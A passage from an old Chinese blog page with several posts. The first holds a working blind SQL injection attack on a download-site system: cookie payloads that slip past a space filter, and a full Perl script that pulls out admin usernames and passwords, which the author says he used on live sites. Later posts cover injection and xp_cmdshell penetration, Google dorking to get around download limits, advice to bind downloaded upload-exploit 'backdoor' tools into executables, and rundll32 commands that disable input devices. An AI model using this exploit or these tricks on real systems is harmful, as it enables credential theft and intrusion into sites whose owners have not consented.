          type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oicq=33337788&email=fsadf@fsf.com&homepage=&qm=&softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4

          上面兩處是需要注意的,有序號。其他地方隨便添,按照我上面的就行了。

          1處是為了逃避上面講到的防網頁不是從點擊近來的,把這個值設為網址就行了,沒什么好講的。
          2處是最關鍵的,我上面提到了COOKIE欺騙,這里不但要欺騙還有注入。

          JyDownUserName這個值我們把它設為了
          aaaaaaaa' union select * from userinfo where id=1 and len(pwd)=1 and '1=1
          這個。上面是經過編碼的。其中%09是TAB鍵的編碼,為了躲過空格過濾。它和空格是等價的,真的謝謝MS工程師開發軟件總是為用戶著想,生怕功能不強。
          程序作者只過濾了空格欠考慮。


          把上面的值代入到原程序總就變為了(應該學過代數啊,呵呵)
          select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=1 and '1=1'

          那個a串沒什么意義,就是為了使前面語句為假,沒有這個用戶就行了,可以是任意特殊字符串。后面的SELECT是重點。
          ID=1是猜id為1的用戶,其實就是管理員用戶。不過有的管理員可能改了,那就不靈了。猜他的長度是不是1。
          很顯然是1可能性很小,不要緊,猜錯了,會返回“錯誤:....用戶資料讀取錯誤,請重新登陸!”中間省了一部分。
          我們把語句換成
          select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=2 and '1=1'
          返回“錯誤:....用戶資料讀取錯誤,請重新登陸!”,看來用戶名長度也不是2,再換。

          換到5是返回 "錯誤:原密碼錯誤!",看來用戶名長度就是5了。同樣方法猜出密碼長度7。

          該猜字符。
          select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and asc(mid(user,1,1)=40 and '1=1'
          上面的語句大家能看懂吧?用mid函數是截取一個字符,然后轉換成ASCII碼,再和40比較。返回錯誤,說明user的第一個字符ASCII值不是40。

          猜到97的時候返回"錯誤:原密碼錯誤!",說明用戶名第一個字符是a 。

          以此類推,猜出user是admin,pwd是abcdefg.管理員的用戶密碼猜出來了。

          上面的過程顯然不可能手工輸入和猜測,必須依靠工具。現成的也沒有這種工具,鄙畢人就抽了寶貴的打牌(QQ升級)時間了寫了個程序,很快就猜出來了。上面是方法。


          我用我寫的程序在網上實驗,真是無往不利。就是在GOOGLE上搜驚云系統,管理員很快猜出來了。

          我登陸一個網站后,發現有個地方可以上傳文件。我回過頭讀源代碼,發現了和動網一樣的文件上傳漏洞,都是在路徑上沒做檢查,允許遠程命名文件名。

          我抓包,提交,恩,成功。順便又寫了個腳本。這個漏洞沒什么好講的,還是看動畫怎么做吧。
          下面事猜管理員密碼的源代碼

          #!/usr/bin/perl

          use IO::Socket;
          use threads;

          $lhost = $ARGV[0];#主機IP

          $port = $ARGV[1];#端口號,默認80

          $path = $ARGV[2];

          $id = $ARGV[3];

          $mod = $ARGV[4];

          $char = $ARGV[5];

          $argv_len=@ARGV;

          if($argv_len<=4) { usage(); exit(); }

          if($mod==0)
          {
          get_user_len($id);
          get_pwd_len($id);
          }

          elsif($mod==1)
          {
          #get_user($id,$char);
          my $i;
          for($i=1;$i<=$char;$i++)
          {
          $t[$i]=threads->new(\&get_user,$id,$i);
          }
          for($i=1;$i<=$char;$i++)
          {
          $t[$i]->join();
          }
          }
          elsif($mod==2)
          {
          #get_pwd($id,$char);

          my $i;
          for($i=1;$i<=$char;$i++)
          {
          $t[$i]=threads->new(\&get_pwd,$id,$i);
          }
          for($i=1;$i<=$char;$i++)
          {
          $t[$i]->join();
          }

          }

          exit();

          sub get_user()
          {
          my($id,$char_now)=@_;
          my $aaa=bin_s(0,123,$path,$char_now,$id);
          print "The $char_now char:".chr($aaa)."\n";
          }



          sub bin_s()
          {
          my ($low,$high,$path,$char_now,$id)=@_;

          my $lh=($low+$high)/2;

          my $aaaa=$lh-int($lh);

          my $mid;

          if($aaaa>0)
          {
          $mid=int($lh)+1;
          }
          else
          {
          $mid=int($lh);
          }

          my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(user ,$char_now,1))>".$mid."%09and%09'1%3D1");

          my $mid1_flag;

          if($mid_flag==0)
          {
          $mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(use r,$char_now,1))%3D".$mid."%09and%09'1%3D1");
          }
          else
          {
          $mid1_flag=0;
          }

          #print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";

          if($mid_flag==0&&$mid1_flag==1)
          {
          return $mid;
          }
          elsif($mid_flag==1&&$mid1_flag==0)
          {
          bin_s($mid,$high,$path,$char_now,$id);
          }
          elsif($mid_flag==0&&$mid1_flag==0)
          {
          bin_s($low,$mid,$path,$char_now,$id);
          }

          }



          sub get_pwd()
          {
          my($id,$char_now)=@_;
          my $aaa=bin_pwd_s(0,123,$path,$char_now,$id);
          print "The $char_now char:".chr($aaa)."\n";
          }


          sub bin_pwd_s()
          {
          my ($low,$high,$path,$char_now,$id)=@_;

          my $lh=($low+$high)/2;

          my $aaaa=$lh-int($lh);

          my $mid;

          if($aaaa>0)
          {
          $mid=int($lh)+1;
          }
          else
          {
          $mid=int($lh);
          }

          my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd, $char_now,1))>".$mid."%09and%09'1%3D1");

          my $mid1_flag;

          if($mid_flag==0)
          {
          $mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd ,$char_now,1))%3D".$mid."%09and%09'1%3D1");
          }
          else
          {
          $mid1_flag=0;
          }

          #print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";

          if($mid_flag==0&&$mid1_flag==1)
          {
          return $mid;
          }
          elsif($mid_flag==1&&$mid1_flag==0)
          {
          bin_pwd_s($mid,$high,$path,$char_now,$id);
          }
          elsif($mid_flag==0&&$mid1_flag==0)
          {
          bin_pwd_s($low,$mid,$path,$char_now,$id);
          }

          }




          sub get_user_len()
          {
          my($id)=@_;

          for($user_j=1;$user_j<=30;$user_j++)
          {
          $user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(user)%3 D".$user_j."%09and%09'1%3D1");
          if($user_flag==1){last;}
          }
          if($user_j<31)
          {
          print "User_length of id $id: $user_j\n";
          }
          else
          {
          print "Can't get user length\n";
          }
          return $user_j;

          }

          sub get_pwd_len()
          {
          my($id)=@_;
          my $user_j,$user_flag;
          for($user_j=1;$user_j<=30;$user_j++)
          {
          $user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(pwd)%3D ".$user_j."%09and%09'1%3D1");
          if($user_flag==1){last;}
          }
          if($user_j<31)
          {
          print "Pass_length of id $id: $user_j\n";
          }
          else
          {
          print "Can't get password length\n";
          }
          return $user_j;
          }



          sub GetRequest()
          {
          my($lpath,$usercookie)=@_;
          $remote=IO::Socket::INET->new (Proto => "tcp", PeerAddr=>$lhost, PeerPort => $port, Type => SOCK_STREAM) or die "Couldnt connect to $lhost:$port : $@\n";
          $remote->autoflush(1);

          $content=" type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oic q=33337788&email=fsadf@fsf.com&homepage=&qm=& ;softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4 ";
          $length=length($content);

          $post="POST ".$lpath." HTTP/1.1\r\n".
          "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n".
          "Referer: http://".$lhost.":".$port."/".$path."\r\n".
          "Accept-Language: zh-cn\r\n".
          "Content-Type: application/x-www-form-urlencoded\r\n".
          "Accept-Encoding: gzip, deflate\r\n".
          "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)\r\n".
          "Host: $lhost\r\n".
          "Content-Length: ".$length."\r\n".
          "Connection: Keep-Alive\r\n".
          "Cache-Control: no-cache\r\n".
          "Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=".$usercookie."\r\n\r\n".
          $content;

          print $remote $post;

          my $flag=0;
          for($i=1;$i<=40;$i++)
          {
          $line=<$remote>;
          if(index($line,"原密碼錯誤")!=-1)
          {
          $flag=1;
          }
          }
          close $remote;
          return $flag;
          }

          sub usage()
          {
          print "$0 host port path id mod char\n";
          print "mod 0 用戶名和密碼長度 1 猜用戶 2 猜密碼\n";
          print "char 猜測字符位置 1-20";
          }
          posted @ 2005-07-08 13:19 一天一點愛戀 閱讀(182) | 評論 (0)編輯 收藏
           
          作者:小金  

          本文已發表在chip

          滲透是指入侵者直接用被入侵對象原有的功能來完成的入侵,它可以使用各種方法進行。無論是個人用戶、數據庫管理員還是網站管理員,要構造一個安全的網站論壇、數據庫服務器以及安全的SQL語句腳本,了解滲透技術潛在的危害都非常有必要。

          很多用戶都有這樣一種感覺:計算機信息安全技術或者黑客關心的一些東西都比較高深,其實不然,比如滲透技術,可能僅僅是這個專業的技術名詞就已經讓你有點眩暈了,但是你知道嗎,在日常的計算機應用中,你常常會與滲透技術擦肩而過。


          讓我們舉一個小例子來做個簡單的說明:如果我告訴你“’ or 1=1’”這是某個用戶在某個論壇注冊的用戶名或者密碼,你會想到些什么呢?如果你稍微有一點SQL語言的常識的話,就會明白這個用戶名意味著什么,你就會明白“Select u_name from userlst where u_name=xxx”與“Select u_name from userlst where u_name=xxx or 1=1”之間的巨大差異。對一個安全系數不高的網站來說,黑客可以輕松地利用類似的簡單SQL語句對網站 非法訪問或者攻擊,而這些,僅僅是滲透技術冰山之一角。


          試探

          “站住!干什么的?”守衛叫住這個在司令部門前徘徊了許久的年輕人。“游客。”年輕人看著守衛,眼神出奇地平靜,他似乎有意無意地看了不遠處的司令部一眼,落日余輝籠罩下的司令部顯得如此神秘。然后,年輕人在守衛警惕的目光下瀟灑離去。


          滲透,或稱Penetrate,它不屬于某一種入侵方法,也不屬于某種工具。滲透是指入侵者直接用被入侵對象原有的功能來完成的入侵,它可以使用各種方法進行。這些原有的功能看起來是那么忠心,可是當它們被入侵者掌握后,卻成了入侵者得力的工具。


          在一切工作開始之前,入侵者們需要試探。包括目標的功能、漏洞,這些信息在以后的工作中起著重要作用,這一過程稱為“掃描”。一般,入侵者們用的掃描器都能匯報大部分已經存在的漏洞和對方提供的服務。當收集到一定數據后,入侵者們就可以決定入侵還是放棄。


          偷襲

          前面已經提到,滲透有多種表現形式,目前流行的滲透技術表現方式有特殊權限目錄、論壇滲透、SQL注射等幾種。

          突破特殊權限目錄

          夜深了,守衛正在昏昏欲睡。突然間,一個黑影迅速翻越圍墻進了司令部,正是那個白天在司令部門前逗留過一段時間的年輕人,他戴著特制手套,圍墻上的玻璃也被弄了一些下來,散落在地上,在月光下閃爍著。年輕人無暇顧及這些,一個轉身躲進了暗處。他是一個特工,他的任務是竊取敵方最新的戰略分布圖。為此,他設法觀察這個司令部好幾天了,今天終于發現一處戒備疏松的入口。


          一般,服務器都會設置一些擁有特殊功能的目錄,這些目錄用于擴充服務器提供的功能,它們能執行腳本程序,例如論壇。


          正因為如此,這些目錄里的程序常常會做出異常的事情。服務器上的程序通過處理不同內容的數據請求來實現功能擴充和人機交互,但是,就連程序的編寫者也沒辦法考慮到對方可能會發出什么樣數據,而程序只會死板地接受指令干活,于是,危險隨時都可能發生。如果入侵者發送一個特殊格式的數據給服務器,由于服務器上處理數據的程序并沒有對這種數據做出處理,直接的結果就是程序被溢出,或者執行了入侵者的非法請求,例如要求進入未經允許的目錄、查看非授權文件等。因為程序根本不會思考,就乖乖實現了入侵者的心愿。


          還記得那個最經典的目錄滲透嗎——“IIS的二次編碼漏洞”正是因為作者沒有考慮到一些特殊字符的作用,導致入侵者使用瀏覽器或別人開發的工具就輕松進入了服務器(圖1)。



          圖1 IIS的“二次編碼漏洞”導致了目錄滲透。

          當然,免費的午餐不一定都好吃,服務器雖然安排了特殊權限目錄,可是也不會給它們太多權限。用這種方法滲透的入侵者,充其量不過是個“客人”的角色,能做多少事情?可想而知,入侵者們絕不肯就此罷休。

          脆弱的論壇

          司令部的側門開了,也許因為天氣悶熱,一個戴眼鏡的軍官出來透氣。他看到墻邊那一堆閃亮的東西,忙走了過去。可是他還沒來得及細看,就倒在那堆玻璃上,年輕人的身影出現在他身后。潛入的特工換上軍官的軍服,連同帽子和眼鏡,然后拿了他的鑰匙串,踱著步子走進了司令部。


          論壇建立在特殊權限目錄的基礎上,為服務器開擴了互動的功能,當然也成為入侵者喜愛的一塊“肥肉”。因為論壇是由多個文件組合起來的,只要某個文件的編寫出了問題,論壇就很可能成為入侵者的鑰匙。國內一些著名論壇如DVBBS和LB5000都是入侵者的最愛,因為這些論壇強大的功能讓他們能直接取得整個機器的控制權。入侵者甚至只要設法在LB5000的某個文件里寫下一行“@ARGV”就能直接進入系統內部。可以這么說:論壇是入侵者最大的“舞臺”。


          究其原因,是論壇程序作者編寫的代碼不嚴密造成的。由于論壇程序的代碼是完全透明的,稍有用心的人分析了整個代碼就能知道哪一步會出問題——不要以為那些教程上的命令是作者亂按鍵盤得來的。一旦論壇被滲透,最輕的后果是入侵者坐上管理員的位置,嚴重的就是入侵者又多了一臺被控制的機器(圖2)。


          圖2 黑客利用滲透技術提升LB5000用戶權限。

          突破口令的防線

          特工把帽檐壓得很低,司令部里居然沒人認出他。他走到深處空無一人的情報間前面,發現這里需要輸入一個四位數的密碼,鍵盤下還有一個打印機接口樣式的數據孔。特工從懷里拿出一個小機器和數據孔連接上了,然后就開始緊張地等待著什么。


          有時候,一個論壇程序或者其他需要密碼的入口程序已經被修改得很安全,直接用以前出問題的代碼顯然是不可能了,難道入侵就這樣停止了?不,入侵者們當然不會輕易放棄。


          現在最通用的服務器程序是微軟的IIS網絡信息服務器+ASP活動頁面的組合,而這兩者最主要的操作就是數據庫讀寫——IIS使用數據庫存儲資料已經成了標準,可正是這個標準又把服務器的安全推到了危險的邊緣。


          SQL注射(SQL Injection)是最近比較熱的滲透方法,那么,SQL注射是什么?寫過數據庫程序的朋友都知道,數據庫操作需要用戶名和密碼,否則不允許打開。這些密碼通過固定的格式傳輸,這就是“結構化查詢語言”(Structured Query Language)。但是在這個環節上卻出了差錯:我們能直接閱讀到網站的資料是因為作者已經把密碼保存在某個文件里面讓系統自己提交了。因此,入侵者可以在某個涉及到數據庫調用的文件地址后增加一個SQL判斷語句來追查密碼長度,甚至推測具體密碼,例如“data.asp?id=1 and 1=(select id from admin where left(password,5)='lk007')”,如果密碼正好是“lk007”,文章就正常顯示,因為語句中的“and”查詢符兩邊相等了。這樣一步一步下來,入侵者就拿到了完整的密碼。這個手法在國外被稱為“駭客的SQL填空游戲”,有趣吧?網絡管理員可笑不出來。


          打入核心

          幾分鐘過去后,特工輸入了正確密碼,門開了。在他意料之外,里面還有個操作員!距離太近了,操作員認出他并非自己人。
          “間諜……”操作員還沒說完話就被彈了起來,頭撞到了頂板,瞬間沒了氣息。原來特工按下了門旁的應急按鈕,它的設計初衷是把非法入侵者直接扼殺在里面。可是它不會認人,只要你輸入了正確密碼,它就能為你所用。


          特工取到了他要的資料,壓低帽檐走了出去,情報間的門悄然關上了,就像什么都沒發生過。趁著夜色,特工逃離了司令部。


          SQL太強大了,不過這次不是SQL語言,而是SQL服務器程序SQL Server,它給用戶提供強大功能的同時,也遞給入侵者一把“榔頭”。在SQL Server中有很多系統存儲過程,有些是數據庫內部使用的,還有一些就是通過執行存儲過程來調用系統命令。直接危害服務器的是系統存儲過程指令“xp_cmdshell”,它以操作系統命令行解釋器的方式執行給定的命令字符串,但是它有個致命弱點:它不認人,只要入侵者得到了賬號,他同樣可以執行很多命令,直接危害服務器。也許你會說,這點無所謂,賬號不是那么容易拿的。但是不爭氣的SQL Server卻存在多種能讓入侵者得到賬號的漏洞,然后(圖3)……

          圖3 針對SQL服務器的xp_cmdshell入侵程序。

          其實,入侵者直接在瀏覽器里輸入SQL指令就可以,例如“exec master.dbo.xp_cmdshell '命令行'”。


          防范

          深夜里,司令部響起了警報。一個士兵無意中發現了倒在地上的軍官,爾后人們看到了情報間里操作員的尸體。整個司令部立即進入A級警戒狀態,所有人都要經過嚴密身份識別才被批準進入。
          然而,特工還會來嗎?


          發現服務器被入侵的時候,入侵者已經絕塵而去,廣大網絡管理員最痛心疾首的事情莫過于此,如果上天給他們一個重來的機會,他們會祈禱入侵者進不來,如果要加一個期限,他們希望是——永遠。


          話雖如此,但是,不見得每個Webmaster的技術都足夠抵擋一切入侵,也不是所有程序都不會有出錯的一天,我們應該如何預防滲透技術可能帶來的危害呢?看了上面的文章和理論分析,不難得出以下有效的防范措施:


          1.確保操作系統、數據庫服務器、程序開發語言都打上了最新的補丁程序,如Service Pack以及相應服務器程序的補丁,并記得一定要時刻開啟防火墻功能;


          2.時刻關注自己服務器的論壇程序最新情況,增加必要的字段過濾;


          3.留意用戶組的變化,密切注意奇怪的用戶名,對用戶名和密碼注冊采取嚴格的限制策略;


          4.定時分析操作系統和數據庫日志文件。
          posted @ 2005-07-08 12:40 一天一點愛戀 閱讀(164) | 評論 (0)編輯 收藏
           
          Windows 2000和Windows XP作為32位操作系統,通過創建虛擬DOS機來運行MS-DOS和16位Windows程序,它用“命令提示符”(cmd.exe)替換了以前版本(如Windows 98)中的“Command.com”,保留并增強了幾乎MS-DOS的所有功能。可是,你真的把它玩轉了么?
          一、自定義窗口標題
          以Win2000為例,CMD默認的窗口標題一般為“C:WINNTSystem32cmd.exe”。如果想要個性化一點的話,可以使用“Title string”命令來重新設置,其中string用來指定命令提示符窗口的標題。例:輸入“Title 天天的控制平臺”(引號不要輸入,下同),標題就被設置為“天天的控制平臺”(可以按Ctrl+Shift組合鍵調出中文輸入法來輸入漢字)(如圖1)。
          二、彩色的命令行
          “color”是Windows 2000及以上版本中特有的命令,主要功能就是用來改變命令行窗口的顏色。顏色屬性由兩個十六進制數字指定——第一個為背景,第二個則為前景。每個數字可以為以下任何值之一:
          0=黑色 8=灰色
          1=藍色 9=淡藍色
          2=綠色 A=淡綠色
          3=湖藍色 B=淡淺綠色
          4=紅色 C=淡紅色
          5=紫色 D=淡紫色
          6=黃色 E=淡黃色
          7=白色 F=亮白色
          例如,“Color A9”是在綠色背景下產生亮藍色。
          提示:如果想恢復到初始狀態,只需不帶任何參數的運行一次color命令即可,這將會還原到啟動時的顏色(黑底白字)。
          三、顛覆你的提示符
          如果你想使自己愛機的提示符像筆者的一樣有個性(如圖2),那么就得使用“prompt”命令了。格式如下:
          prompt [括號內輸入要替換的提示符]
          特殊的符號不能直接輸入,而必須用到指定代碼:
          $A & (短 and 符號)
          $B | (管道)
          $C ( (左括弧)
          $D 當前日期
          $E Escape code (ASCII 碼 27)
          $F ) (右括弧)
          $G > (大于符號)
          $H Backspace (擦除前一個字符)
          $L < (小于符號)
          $N 當前驅動器
          $P 當前驅動器及路徑
          $Q = (等號)
          $S (空格)
          $T 當前時間
          $V Windows XP 版本號
          $_ 換行
          $ $ (貨幣符號)
          四、一勞永逸,讓命令符酷起來
          結合上述方法,裝扮出來的命令提示符界面當然“眩目奪人”。但是每次想要SHOW的時候,都要重新輸入麻煩命令才行,有沒有一個一勞永逸的辦法呢?沒有辦不到的,只有想不到的,方法如下:
          “開始”-“運行”-“Regedit”,回車進入注冊表編輯器,依次展開HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor分支。在右側窗口中新建一名為“AutoRun”的字符串值,將其數值設為“prompt <$t $p$Q$$D$V$L$B$g>”,“<$t $p$Q$$D$V$L$B$g>”表示你想用的參數形式。例如我們想把命令行提示符變為:“(當前時間)俺叫你輸啥就輸啥>”的形式,就輸入“prompt $t 俺叫你輸啥就輸啥$g”。設置完畢后退出注冊表即生效。
          附:command和cmd的區別:Windows 2000/XP提供了cmd.exe和command.com,cmd.exe是Windows NT命令行接口,它不是一個DOS窗口,而command.com是一個16位的DOS應用程序,它用于支持老的DOS應用程序。就用戶來說,這兩個命令有驚人的相似之處,這是因為用戶在command.com中輸入的命令有很大一部分要送到cmd.exe中運行。如果用戶運行command.com,用戶會在任務管理器中看到一個cmd.exe也在運行。
          posted @ 2005-07-08 12:31 一天一點愛戀 閱讀(227) | 評論 (0)編輯 收藏
           
          搜索Google大家都用過吧?我們正是利用它強勁的搜索功能來突破封鎖下載,Google搜索和限制下載有什么關系,沒可能實現吧?不要不相信哦,往下看哦!

          http://www.google.com/intl/zh-CN/
          http://www.3721.com/
          http://www.baidu.com/

          首先打開Google,在關鍵詞輸入框中輸入"index of/"inurl:lib(雙引號為英文狀態下),選擇“搜索簡體中文網頁”選項,回車搜索,得到了一些網頁,不要以為這是一些普通的頁面,其實它們是一些圖書網站的資源列表,點擊打開它來看看,怎么樣?是不是所有資源一收眼底了?

          使用其他關鍵字可能得到更多的資源:

          在搜索框上輸入:"index of /"cnki

          再按搜索你就可以找到許多圖書館的CNKI、VIP、超星等入口!

          在搜索框上輸入:"index of /" ppt

          再按搜索你就可以突破網站入口下載powerpint作品!

          在搜索框上輸入:"index of /"mp3

          再按搜索你就可以突破網站入口下載mp3、rm等影視作品!

          在搜索框上輸入:"index of /"swf

          再按搜索你就可以突破網站入口下載flash作品!

          在搜索框上輸入:"index of /"加上要下載的軟件名

          再按搜索你就可以突破網站入口下載軟件!

          在搜索框上輸入:"index of /"AVI

          再按搜索你就可以突破網站入口下載AVI視頻

          你會找到什么呢?同理,把AVI換為MPEG看看又會找到什么呢?呵呵!接下來不用我再教了吧?那就試一下你的手氣吧!

          "index of /" RMVB
          "index of /" WMA
          "index of /" MTV
          "index of /" MPEG
          以下是百度搜索排名
          1. index of mpeg4
          3. index of mp3
          4. index of cnki
          5. index of rmvb
          6. index of rm
          7. index of movie
          8. index of swf
          9. index of jpg
          10. index of admin
          12. index of pdf
          13. index of doc
          14. index of wmv
          15. index of mdb
          16. index of mpg
          17. index of mtv
          18. index of software
          19. index of mov
          20. index of asf
          23. index of lib
          24. index of vod
          25. index of rar
          27. index of exe
          28. index of iso
          29. index of video
          30. index of book
          31. index of soft
          32. index of chm
          33. index of password
          34. index of game
          35. index of music
          36. index of dvd
          37. index of mid
          38. index of ebook
          40. index of download

          到這里,大家也許都明白了,其實就是"index of /"這個關鍵詞在起的作用,使用它可以直接進入網站首頁下的所有文件和文件夾中,不必在通過HTTP的網頁形式了,從而避免了那些網站的限制,作到了突破限制下載。

          怎么回事?點鼠標右鍵直接用網際快車下不了,都是網頁,鏈接地址是亂碼。別灰心懈氣,可以在新窗口中打開頁面中的超鏈接,真實地址不就出來了。下面就用馬克思ie(mxie)這個超級P2P共享資源搜索引擎幫你搞定收費網站。
          馬克思ie簡體中文網址:http://cn.mxie.com/down.html
          http://cn.mxie.com/mxie0400Setup_cn.exe

          馬克思ie(mxie)
          軟件大小:3307KB
          軟件語言:簡體中文
          軟件類別:國產軟件/免費版/搜尋引擎
          運行環境:Win9x/Me/NT/2000/XP
          馬克思ie(mxie)是一個擁有網頁瀏覽器功能的超級P2P搜索引擎,完全免費!各種音樂、電影、動漫、小說、圖片等娛樂文件,一切你想得到的都可以找到!采用目前最為先進的多點P2P技術,搜尋到的就能下載到,絕對無死鏈!神奇的“越多人下載越高速”特性,充分挖掘你的帶寬潛力,保證高速!獨家裝備了強力防火墻穿透利器,即使在嚴密防護的企業防火墻后也能通行自如。
          完全免費,永遠免費!
          完全免費!永遠免費!馬克思ie(mxie)就是要把免費進行到底!奉行網絡上的馬克思主義,打造影音娛樂共產帝國!

          編者自述:此方法采用獨特技巧,集成了網絡加速及穿透防火墻的P2P共享技術,能夠無限提升你的網速!----高手自然一點就透,對于菜鳥本人也不想浪費唇舌多作解釋,以下跟著灑家向前沖:

          先下一個exe文件合成器“綠色分割{X} V3.1”:
          http://www.pcdog.com/soft/20205.htm
          http://www1.pcdog.com/down/Split3.1.rar

          解壓到指定文件夾。再下一個加速軟件“speed4web”:
          Speed4WEB 可以幫忙你把瀏覽器的速度提升到原來的300%!程序使用簡單,提交小巧!功能強大!
          Speed4WEB V2.2.3.2 漢化版:
          http://www.yqdown.com/soft/675.htm
          http://km.yqdown.com:8989/UUAuth/wl...ed4WEB_v2.H.rar
          http://www2.pcdog.com/down4/HB_Speed4WEBV2.2.3.2.exe
          http://www.pcdog.com/down2/HB_Speed4WEBV2.2.3.2.exe

          解壓安裝后點擊桌面圖標打開,在所有選項前均打勾(除了“總在頂部”),最小化令其運行。
          點桌面圖標右鍵,點屬性,點查找目標,找出其真實應用文件“Speed4WEB.exe”,將它復制到指定文件夾。

          選擇你最想加速的文件***:點桌面圖標右鍵,點屬性,點查找目標,找出其真實應用文件“***.exe”,復制到指定文件夾。

          雙擊打開綠色分割,點“合并”,點“合并任意文件”,點+號依次選擇“***.exe、Speed4WEB.exe”,點“設置”,點“正常、分割完成后生成合并exe文件”,點“保存文件”選擇***文件原路徑,重命名為“***.exe”,點開始即可替換原“***.exe”。

          注意:合并過程中***軟件不可使用,否則無法成功替換原***文件!也不可以關閉Speed4WEB!

          再下一個共享資源搜索利器“馬克思ieV.0.4.0.0 最新版--
          馬克思ie簡體中文網址:http://cn.mxie.com/down.html
          http://cn.mxie.com/mxie0400Setup_cn.exe

          解壓雙擊安裝后,以“馬克思ie(mxie)”為例,下載后重命名為“馬克思ie(mxie).exe”即可直接雙擊安裝,點桌面上剛剛生成的”馬克思ie(mxie)”圖標右鍵,點屬性,點查找目標,找出其真實應用文件“mxie.exe”,復制到指定文件夾。下面按步就搬即可。

          以上方法經本人測試,適合于各式各樣五花八門的下載工具、游戲、瀏覽器以及其它一切與網絡相關的軟件。----這種合成的軟件同時運行的越多,網速愈快!

          每個人上網的方式與寬帶限制都不一樣,有時候是電信局封了BT端口或用了掃描儀限制下載流量,請恕本人也無能為力了!用過馬克思ie的朋友仍然嫌慢的話,請打上下面的補丁

          最新上傳漏洞通用工具 V1.0
          http://soft.sq88.com/soft/537.htm
          http://download.sq88.com/hk/upld.rar

          動網下載中心上傳漏洞利用工具
          http://soft.sq88.com/soft/419.htm
          http://download.sq88.com/hk/dvup.rar

          任意下載其中一個后門程序,解壓后即可見其中的兩個ActiveX控件“MSINET.OCX、MSWINSCK.OCX”,然后再用綠色分割合并即可。

          好了,廢話少說。覺得有用請頂一下,并幫我多多轉貼,別小心眼偷懶呀!
          當網上有半數人熟悉此法時,估計收費網站也要破產了!
          posted @ 2005-07-08 12:26 一天一點愛戀 閱讀(329) | 評論 (1)編輯 收藏
           
          winexec(Pchar('StrCommand'),sw_Show);
          其中"StrCommand"代表以下命令之一(使用Windows中的運行不要加引號):
          "rundll32 shell32,Control_RunDLL" - 運行控制面板
          "rundll32 shell32,OpenAs_RunDLL" - 打開"打開方式"窗口
          "rundll32 shell32,ShellAboutA Info-Box" - 打開"關于"窗口
          "rundll32 shell32,Control_RunDLL desk.cpl" - 打開"顯示屬性"窗口
          "rundll32 user,cascadechildwindows" - 層疊全部窗口
          "rundll32 user,tilechildwindows" - 最小化所有的子窗口
          "rundll32 user,repaintscreen" - 刷新桌面
          "rundll32 shell,shellexecute Explorer" - 重新運行Windows Explorer
          "rundll32 keyboard,disable" - 鎖寫鍵盤
          "rundll32 mouse,disable" - 讓鼠標失效
          "rundll32 user,swapmousebutton" - 交換鼠標按鈕
          "rundll32 user,setcursorpos" - 設置鼠標位置為(0,0)
          "rundll32 user,wnetconnectdialog" - 打開"映射網絡驅動器"窗口
          "rundll32 user,wnetdisconnectdialog" - 打開"斷開網絡驅動器"窗口
          "rundll32 user,disableoemlayer" - 顯示BSOD窗口, (BSOD) = Blue Screen Of Death, 即藍屏
          "rundll32 diskcopy,DiskCopyRunDll" - 打開磁盤復制窗口
          "rundll32 rnaui.dll,RnaWizard" - 運行"Internet連接向導", 如果加上參數"/1"則為silent模式
          "rundll32 shell32,SHFormatDrive" - 打開"格式化磁盤(A)"窗口
          "rundll32 shell32,SHExitWindowsEx -1" - 冷啟動Windows Explorer
          "rundll32 shell32,SHExitWindowsEx 1" - 關機
          "rundll32 shell32,SHExitWindowsEx 0" - 退當前用戶
          "rundll32 shell32,SHExitWindowsEx 2" Windows9x 快速重啟
          "rundll32 krnl386.exe,exitkernel" - 強行退出Windows 9x(無確認)
          "rundll rnaui.dll,RnaDial "MyConnect" - 運行"網絡連接"對話框
          "rundll32 msprint2.dll,RUNDLL_PrintTestPage" - 選擇打印機和打印測試頁
          "rundll32 user,setcaretblinktime" - 設置光標閃爍速度
          "rundll32 user, setdoubleclicktime" - 測試鼠標雙擊速度
          "rundll32 sysdm.cpl,InstallDevice_Rundll" - 搜索非PnP設備
           控制面板中的各項功能

           winexec('rundll32.exe shell32.dll, Control_RunDLL', 9);
           {輔助選項 屬性-鍵盤}
           winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 1', 9);
           {輔助選項 屬性-聲音}
           winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 2', 9);
           {輔助選項 屬性-顯示}
           winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 3', 9);
           {輔助選項 屬性-鼠標}
           winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 4', 9);
           {輔助選項 屬性-常規}
           winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 5', 9);
           {添加/刪除程序 屬性-安裝/卸載}
           winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 1', 9);
           {添加/刪除程序 屬性-Windows安裝程序}
